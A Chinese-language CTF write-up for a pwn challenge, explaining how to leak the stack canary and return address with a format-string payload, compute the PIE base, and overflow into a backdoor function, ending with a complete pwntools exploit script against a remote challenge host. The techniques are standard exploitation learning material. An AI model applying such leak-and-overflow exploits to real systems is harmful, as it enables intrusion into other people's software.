这一题最终的攻击手段可以是简单的ret2text(后门函数给出),然而保护全开则确实让人汗颜。。。
更重要的是!docker的程序偏移和本地不一样!!NSSCTF题目有问题!!
目录
前言
一、题目分析
二、攻击过程
1.格式化字符串漏洞泄露栈上内容——Canry & base_addr
1.1确定参数位置
1.2确定并泄露Canary/base_addr的位置
2.PIE处理绕过
2.1return_addr相对偏移量
2.2base_addr真实地址
2.3ret2text的真实地址
三、EXP
四、蒟蒻遇到的问题
总结
Canary、PIE开启,如何进行绕过呢?
PIE——寻找真实地址作为“锚点”:【PWN · ret2text | PIE 】[NISACTF 2022]ezpie_Mr_Fmnwon的博客-CSDN博客
Canary——泄露内容后填充绕过:【PWN · ret2libc | Canary】[2021 鹤城杯]littleof_Mr_Fmnwon的博客-CSDN博客
而本题也无外乎这两个要点,然而还是让本蒟蒻感到头疼QAQ
(一点睡,六点半起,一整个学期伤身体,ICU里喝小米)
main函数里找到漏洞函数,改名为vuln()便于记忆
两个gets都是往format里面输入,然而反汇编没体现,这是为什么呢?求解答。
ok,一眼栈溢出漏洞
format,一眼格式化字符串漏洞
基本思路是否有了呢?始终牢记我们需要什么:
格式化字符串漏洞可以进行泄露/覆写/破坏程序,我们所需要的两个信息都在栈上,所以通过格式化字符串漏洞泄露栈上内容,即可获取Canry以及真实地址。
同时也可以找到后门函数(名字我进行了修改),只要栈溢出成功,我们就可以执行这个后门函数,获取flag
好的,知道要泄露,但怎么泄露呢??
——换句话说,Canary以及base_addr是第几个参数呢?
与32位程序参数存在栈上相比,64位程序的前六个参数存在寄存器中。也就是说,栈上的第一个“数据单元”存放第七个参数,第二个对应第八个......知道要泄露的内容在栈上是第几个“数据单元”就可以确认参数的序号了。
这里的“数据单元”,指的就是字,而64位计算机的字长是64位,即8个字节。
可以看到,Canary被存在了ebp的前一个字(8个字节),栈底从format开始,所以从栈底到Canary有(0x60-0x8)/8个字,即第11个字,算上6个参数在寄存器中,Canary会被默认当作第11+6=17个参数。
同理,return_addr被放在ebp后面,是第17+2=19个参数。
payload1=b"qaq%17$paaaaaa%19$pbbbbbbb"
获得Canary后,栈溢出时原封不动地填充canary即可绕过。现在我们来处理PIE
地址随机了,所以找锚点,这是最基本的思路。
现在我们得到了真实地址base_addr,或者说return_addr,通过真实地址减去其相对于程序首地址的偏移量,再加上任意程序段的偏移量,即可获得程序段的真实地址。简单的加减法。
执行完vuln,自然要返回到调用的下一条指令。
相对偏移量为0x146f
显然是返回地址的真实地址-返回地址的相对偏移量
显然是程序首地址+相对偏移量
我选择跳到0x1228
'''
开启了PIE保护,存在canary保护,存在“后门函数”
---
泄露基址,泄露canary,再return到后门函数处
---
格式化字符串漏洞泄露两者,栈溢出控制return
'''
from pwn import *
from pwn import p64,u64
# io=process("./find_flag")
io=remote("node4.anna.nssctf.cn",28820)
context(arch="amd64",os="linux",log_level="debug")
backdoor=0x1228
ret_bias=0x146f
'''
format 字符串距离ebp 0x60 即 96
canary 距离ebp 8
64位程序 8字节一个字
栈底 距离canary (96-8)=11*8, 即canary是栈上的第11个参数
而64位程序,参数前6个先从栈上取,所以canary算是第6+11个参数,real_ret_addr是第19个
%17$p可泄露canary,%19$p可泄露real_ret_addr
'''
io.recvuntil(b'name?')
payload1=b"qaq%17$paaaaaa%19$pbbbbbbb"
io.sendline(payload1)
#接收的艺术:经常用到,但是emmm解码什么的很恶心(对我萌新来说)
io.recvuntil(b'qaq')
canary=int(io.recvuntil(b'aaaaaa')[:-6],16)
print("Canary:",hex(canary))
real_ret_addr=int(io.recvuntil(b'bbbbbb')[:-6],16)
print("Real ret addr:",hex(real_ret_addr))
payload2=b'a'*(0x38) #坑人!不是0x60-8,不知道为什么QAQ,而且很不理解:第17/19个参数的序号没变
payload2+=p64(canary) #绕过canary
payload2+=b'a'*8 #填充ebp
payload2+=p64(real_ret_addr-ret_bias+backdoor) #真实地址
io.sendline(payload2)
io.interactive() #显然这是多余的,不需要交互/狗头
蒟蒻习惯打c++,python虽然大学计算机基础学过但是忘得七七八八。对于接收回显信息并转换为地址,总是出错:
- 如何切片?
- 什么时候int(......,16)什么时候u64/u32转码?
本次做题也头痛不已,好在略有心得:
- 显然要对切片规则熟悉,不熟悉的可以现查(like me);此外,对于程序的显示信息,可以通过recv(num)、recvuntil(str)、sendlineafter(str,payload)来严格控制IO。本题,泄露Canary和real_ret_addr时,我构造"qaq%17$paaaaaa%19$pbbbbbbb",接收到"qaq”停止,因为接下来就是地址了,然后接收到"aaaaaa"停止,这样Canary的值就是开头到从右往左数第7个,根据切片规则就是[:-6],因为右往左第六个不算;同理,接收reak_ret_addr也是这样控制的。
- 原本以为,只要来数据,转化为数,都是u64/u32来解包,此题总是报错。原来,形如"\x23\x53\x63.....\x12\x00"这种byte数据,才可以用u64/u32解包,而且注意8字节/4字节对齐。本题因为是以字符串的形式发过来的,收到的信息(例如)是"0x1122334455667788",是16进制那么就用int(str,16)来转成数字。
本题是遇到的第一道保护全开的题目,各种保护让人头大,对各种漏洞的综合利用也有更高的要求,加油!